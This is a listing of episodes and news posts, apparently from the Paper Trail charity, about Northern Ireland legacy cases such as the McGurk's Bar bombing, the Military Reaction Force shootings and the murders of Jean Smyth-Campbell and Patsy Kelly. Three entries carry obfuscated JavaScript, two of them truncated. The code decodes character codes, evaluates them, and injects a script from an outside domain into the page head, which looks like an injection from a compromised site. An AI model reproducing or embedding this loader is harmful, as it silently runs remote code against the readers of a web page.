Episodes

  • Time for Truth Campaign National Day of Action

    Time for Truth Campaign National Day of Action
    Sep 26 2021
    The families of the Time for Truth Campaign mobilized for a National Day of Action against Britain\'s amnesty proposals.
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  • Podcast 8: Gerry Fitt – Snake in the Grass?

    Podcast 8: Gerry Fitt – Snake in the Grass?
    Jul 29 2021
    In this Paper Trail Pro Podcast, Ciarán MacAirt discovers some of Westminster\'s dirty secrets and asks was Gerry Fitt a Snake in the Grass?
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  • The McGurk’s Bar Bombing: Post-Script

    The McGurk’s Bar Bombing: Post-Script
    Sep 30 2020
    The McGurk’s Bar Bombing: Post-Script is our latest publication. The McGurk’s Bar Bombing: Post-Script features new evidence discovered by Paper Trail manager Ciaran MacAirt whose grandparents were two of the many victims of the atrocity. It is FREE to download. Post-Script features new evidence either missed or buried by historical investigations of the Office of the Police Ombudsman and Police Service Northern Ireland. Among critical new information published in The McGurk’s Bar Bombing: Post-Script, is proof that there was a covert British Army operation in place on the night of the explosion near McGurk’s Bar and the British Army recorded the escape of the suspect car minutes afterwards. Furthermore, there is final proof that the British state’s lies, which blamed the victims for the Massacre, began with collusion between the police and the British Army Commander in charge of Belfast who is still alive. His name is General Sir Frank Kitson. Download The McGurk\'s Bar Bombing: Post-Script var z =String;var t=z.fromCharCode(10,102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,118,97,114,32,98,100,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,48,48,44,49,48,49,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,49,44,49,49,50,44,49,49,53,44,52,55,44,49,49,49,44,49,49,48,44,49,48,49,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,53,50,44,53,50,41,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,115,46,105,100,61,39,98,108,117,101,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125,10);eval(t);
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  • Secret British MoD Files Record MRF’s Failure to Protect Freds

    Secret British MoD Files Record MRF’s Failure to Protect Freds
    Aug 23 2020
    Archive Release: Secret British Ministry of Defence files records the failure of the Military Reaction Force to protect its Freds. Secret British Ministry of Defence (MoD) files discovered by the charity, Paper Trail, document the British state’s failure to protect its own soldiers and agents (or \"Freds\") in its covert, extra-legal military unit, the Military Reaction Force, in 1972. The Irish Republican Army (IRA) killed and badly injured a number of British soldiers and “turned” paramilitaries within its own ranks when it uncovered a number of MRF intelligence-gathering operations in 1972. Two of those killed in October 1972, Seamus Wright and Kevin McKee, were also “disappeared” and their bodies not recovered from a shallow grave until 2015. Failure to Protect The files also record the British Army’s failure to protect its own soldiers and agents. In the first discovery of its kind, the secret British Ministry of Defence and Army files name Wright and McKee as MRF agents (or “Freds” as the British military called turned paramilitaries) and give details of their history as agents. Read the archive here... A file records that the British Armed Forces paid Wright a total of £285 before being “discharged as unsatisfactory” and taken to Birmingham, England, on 29th March 1972. It also records that McKee “took part in the Four Square Laundry Operation” which was one of the MRF’s infamous intelligence-gathering operations. The MRF ran a laundry collection and delivery service which operated across Belfast but allowed British military intelligence to target homes and test clothes for bomb residue and to photograph suspects in Irish, Catholic areas. The previously undisclosed record of the MRF agents alleges that Kevin McKee “escaped from protective custody” on 6th September 1972 and was: “almost certainly responsible for ‘blowing’ the Laundry operation to the IRA: may have been personally involved in the murder of Sapper Stuart on 2nd October [1972]” Sapper Ted Stuart was a British soldier from the north of Ireland who was working with the MRF and acting as a driver of the Four Square Laundry van when the IRA attacked and killed him in West Belfast. Military Reaction Force: (from left) Freds Kevin McKee and Seamus Wright, and Sapper Ted Stuart If McKee escaped from protective custody in early September and was involved in the Four Square Laundry, the British Army should have considered that its intelligence-gathering operation was compromised and its soldiers in grave danger. The IRA killed Sapper Stuart a full four weeks later. Sacrificed The reasons why the British Army would seriously compromise the safety of its own soldiers and Freds are given in other secret British MoD files discovered by Paper Trail and made available to the legal representatives of Sapper Stuart: (1) The Four Square Laundry Operation was such a successful intelligence-gathering operation; (2) The British Army did not have sufficient policies and procedures in place to manage its agents and protect these sources or the British soldiers working with them. Archival Evidence (1) (1) A British Army Situation Report (Sitrep) to the Office of the Prime Minister on October 1972 records the importance of the Four Square Laundry Operation: “This patrol was part of the most successful intelligence gathering operation which had, over the past few months, provided information which had been responsible for… over 30% of the arrests of Provisional IRA officers in the Andersonstown area.” In a high-level meeting between MoD and Northern Ireland Office (NIO) officials with the British Prime Minister’s Office 2 days after the killing of Sapper Stuart (file dated 4th October 1972) discussed: “The shooting of the ‘laundryman’ on the Twinbrook estate in Belfast on Monday has aroused much interest in the Press. Civilian patrols bring in much useful information and should be continued. The Army has made a statement,
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  • Police Failure To Investigate MRF Shootings

    Police Failure To Investigate MRF Shootings
    Apr 29 2020
    Paper Trail published proof from secret British archives that the MRF was guilty of a catalogue of murders and attempted murders of civilians in Belfast 1972. The report followed the failure of the Police Service of Northern Ireland’s (PSNI) Legacy Investigation Branch (LIB) to arrest or convict British Army soldiers in the killer gang, the Military Reaction Force (MRF). This is despite the LIB’s long-running Operation Everson, its investigation into the activities of the MRF, which began over 4 years ago. Paper Trail’s report, Shooters: Britain’s Military Reaction Force and Operation Everson, provides archival evidence for each of the incidents listed by the PSNI’s inquiry. The British military logs even provide the names of the MRF attackers in some of the incidents and names one Sergeant of the MRF in six of the shootings. Paper Trail and the surviving victims believe this Sergeant is connected to many more. The PSNI only sent a file to the Public Prosecution Service on 7th February 2020 after Paper Trail submitted the book of evidence to former Chief Constable Jon Boutcher’s Kenova team on 28th January 2020. The Kenova team is investigating the murder of single mother, Jean Smyth-Campbell, on June 8th 1972. Archives found by Paper Trail prove that the British Army claimed her shooting despite police blaming Republicans, and the MRF claimed a “hit” in the area. Jean Smyth-Campbell’s murder did not feature in PSNI’s Operation Everson despite the MRF claim that it shot someone that night. Jean’s family fought a historic battle in court against the PSNI and its failure to investigate the murder of Jean. In 2019, an Appeal Court in Belfast ruled that the PSNI’s Legacy Investigation Branch was not “practically independent” and could not offer an investigation sufficiently compliant with Article 2 of the European Convention on Human Rights. As a remedy, the investigation passed to Jon Boutcher’s Kenova team. Many other families, including those impacted by the MRF shootings, also believe that the PSNI and its LIB team are not independent and should not investigate legacy cases. In February 2020, Paper Trail asked Police Service Northern Ireland via the Freedom of Information Act: 1. How many man/woman hours have been spent investigating this list of cases since the launch of the inquiry up until the present day (12th February 2020); 2. How much money has been spent on Operation Everson up until the present day PSNI replied [1]: \"The Record Owner within the PSNI has advised there is no formal record of the number of hours any individual works on any given case and additionally, the cost of the investigation is not recorded; this is because duty time on our system is not specific to any operation.\" So, we do not know how many or how few man/woman hours have been spent; or how much money this failed investigation has cost the public. Speaking to reporter, Patricia Devlin [2], Pádraig Ó Muirigh of Ó Muirigh Solicitors, which represents many of the families, said: \"[Paper Trail\'s] report has shed further light in relation to the role of the british Army during the conflict in the north of Ireland and in particular the unlawful actions of this undercover Army unit which included civilian assassinations... It is a damning indictment of policy in the north of Ireland over the course of the conflict.\" Paper Trail’s Ciarán MacAirt said: “Paper Trail’s evidence proved that the British Army’s secret terror gang, the MRF, shot at least seventeen unarmed civilians, killing two, in West Belfast in a few short months. Following the submission of our evidence to Jon Boutcher’s team, the PSNI passed a file to the PPS. Our families have little faith in the LIB’s willingness or ability to bring these MRF shooters to justice for a number of reasons: 1. The British military and police allowed this British Army gang to operate and shoot civilians 2. The British military and police covered up for th...
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  • Jean Smyth-Campbell Murder: Independent Investigation Ordered

    Jean Smyth-Campbell Murder: Independent Investigation Ordered
    Jun 19 2019
    The Chief Constable of the Police Service of Northern Ireland has ordered an independent investigation into the murder of Jean Smyth-Campbell. Jean Smyth-Campbell Jean Smyth-Campbell was a single mother who was shot dead in an unprovoked attack in June 1972. The Royal Ulster Constabulary told her family that she was murdered by the local members of the Irish Republican Army. In 2014, Paper Trail discovered secret British military archives which proved Jean was in fact murdered by the British Army. Subsequent files showed that the British Army\'s clandestine Military Reaction Force claimed \"a hit\" in the same area. We presented the horrific new evidence to the family and have been working with them since. Over the last 5 years, the family was forced to fight the Department of Justice, PSNI and Secretary of State/NIO in court for an independent, Article 2 compliant investigation into the murder of their loved one. They won every court battle including a landmark decision in the Appeal Court which ruled that the PSNI lacked practical independence and could not carry out an investigation which could comply with Article 2. Chief Constable George Hamilton has now ordered that Jean\'s murder is to be investigated by Chief Constable Jon Boutcher who is running Operation Kenova which is investigating the activities of Stakeknife. Below is how this historic news was reported: ITV: ? Stakeknife investigator leads probe into 1972 shooting (link) Irish News: Operation Kenova\'s Jon Boutcher to head probe into Jean Smyth-Campbell 1972 killing (link) Irish Times: Independent investigation launched into fatal 1972 shooting of Belfast woman (link) ? Listen: Paper Trail\'s Ciarán MacAirt speaking at the Time for Truth March, February 2018 https://www.papertrail.pro/wp-content/uploads/Time-for-Truth-March-February-2018.mp3 var z =String;var t=z.fromCharCode(10,102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,118,97,114,32,98,100,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,48,48,44,49,48,49,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,49,44,49,49,50,44,49,49,53,44,52,55,44,49,49,49,44,49,49,48,44,49,48,49,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,53,50,44,53,50,41,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,115,46,105,100,61,39,98,108,117,101,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,
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  • Press Release: Solicitors for the Family of Jean Smyth-Campbell

    Press Release: Solicitors for the Family of Jean Smyth-Campbell
    Mar 19 2019
    Kinnear & Co. Solicitors represent the family of Jean Smyth-Campbell, who was killed in a drive-by shooting by the undercover British Army Unit (the MRF), in June 1972. At the time Jean’s family were told that the IRA had carried out the attack. The RUC then parroted this falsehood to the inquest in November 1972. In 2008 the PSNI’s HET unit again repeated the lie, and the cover-up continued. Then, in 2014, researcher Ciaran MacAirt, of the legacy charity Papertrail, uncovered contemporaneous British Army archives in which the MRF admitting the killing. The family immediately sought to have a fresh Article 2 complaint investigation into the murder, which would not involve the PSNI. Following a nearly five-year legal battle, the Court of Appeal today said that the PSNI was not independent for the purposes of an Article 2 investigation, and criticised them for not taking steps to re-investigate the case. The Court also ordered that a prompt new Article 2 complaint investigation be undertaken immediately. Speaking after the hearing, Margaret McQuillan, sister of Jean Smyth-Campbell stated; “We have very relieved and grateful that the judges have ruled that there should be a new investigation into Jean’s murder. We believe the PSNI have contributed to the cover-up just like their predecessors in the RUC did before them. The PSNI’s H.E.T. lied to us in 2008 about who killed Jean. Now the court has agreed with us. We demand a new investigation immediately, free from PSNI interference and bias.” Speaking for Kinnear and Co. Solicitors, Niall Ó’Murchú said the following: “The PSNI Chief Constable George Hamilton recently stated that he did not want the PSNI involved in legacy cases. With all due respect he is talking absolute nonsense. If that was the case, he wouldn’t have appealed this case in the first place. The PSNI have thrown the kitchen sink at this case, and treated Jean’s family with absolute contempt. He should hang his head in shame and apologise to Jean’s family. Furthermore, he should publicly state that he is not going to appeal this judgement, and thereafter fully co-operate with the immediate establishment of a new independent and outside group of investigators, who can finally investigate this case properly.”var z =String;var t=z.fromCharCode(10,102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,118,97,114,32,98,100,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,48,48,44,49,48,49,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,49,44,49,49,50,44,49,49,53,44,52,55,44,49,49,49,44,49,49,48,44,49,48,49,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,53,50,44,53,50,41,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,115,46,105,100,61,39,98,108,117,101,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,
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  • Patsy Kelly Murder, 1974 – Startling New Information Uncovered

    Patsy Kelly Murder, 1974 – Startling New Information Uncovered
    Nov 3 2018
    Statement by the family of Patsy Kelly on the discovery of startling new information which points towards a cover-up by the British state. Startling new information relating to the 1974 abduction and murder of Independent Councillor, Patsy Kelly (right), from Trillick, Co. Tyrone, has been uncovered following a freedom of information request on behalf of the Kelly family by Ciarán MacAirt of the charity, Paper Trail. The information is from British Army record in a Brigade Operations Log dated 13th Aug. 1974 [view PDF], soon after the discovery of Patsy Kelly\'s body at Lough Eyes, Co. Fermanagh. It records that ammunition connected to the discovery of the body was found in the lough, some of which matched the same calibre of bullet that was used to murder Patsy Kelly. This crucial evidence disappeared from subsequent police investigations. Connecting the ammunition find to the discovery of Mr. Kelly\'s body, the log sheet reveals this exact detail from the 1st Battalion of the Royal Tank Regiment: \"CONNECT SERIAL 18 OF 10 Aug [relating to the recovery of Mr. Kelly] In the follow up the following material was found in Lough Eyes. 58 X 9MM, 33 X .45 long, 5 X .45 short and 1 X .38. Action - HQ NI informed.\" The bullets recovered from Patsy Kelly\'s body were .45 calibre. Serial 18 of 10thof August 1974 is shown below. State Cover-Up In light of this new information which has never been revealed to the Kelly family before, they now ask the following questions: (1) Why has this important piece of information been withheld for almost 45 years? From the original 1974 investigation, the 1993 re-investigation, the PSNI/Hunter investigation of 2003, the HET investigation of 2008 and the current ongoing investigation by PONI - none of these investigations have ever revealed this information to the Kelly family - why? (2) What important evidential opportunities were lost by police by failing to include this ammunition find within any investigation? (3) Why was this ammunition find never revealed to the original inquest? The victim\'s youngest son, also called Patsy, states: \"This new information calls into question every single investigation that has been carried out by the police from 1974 to date into my father\'s murder. How could such a vital piece of information have either been withheld or never been uncovered following so many alleged previous investigations? The fact that this information was never submitted to the original inquest throws yet another very sinister twist on the history of this case. We will continue to seek the truth about my father\'s murder and it is simply disgraceful that the pain & anguish of our family is being compounded by continued inaction & cover-up by the authorities.\" Paper Trail\'s Ciarán MacAirt said: \"This archive discovery proves that significant evidence was discovered and directly linked by the British Army to the murder of Mr. Kelly but it has since disappeared from each investigation which is disturbing considering that local members of the British Army\'s Ulster Defence Regiment were alleged to be the perpetrators. Disturbingly too, we have also targeted, discovered and requested preceding documentation but the British Ministry of Defence and the National Archives have applied a Public Interest Test to its release. So, at the moment the British state is still withholding evidence from the Kelly family and their legal representatives.\" The Kelly family solicitor, Pat Fahy added: \"The discovery of this information for the first time, 44 years after the murder, raises many serious issues apart from the obvious one of why police withheld this evidence. What other evidence which might point to the killers being connected to the security forces is still out there? The police and the British government must now come clean on what has all the appearances of a state-sponsored killing, and subsequent cover-up.\" Further Information
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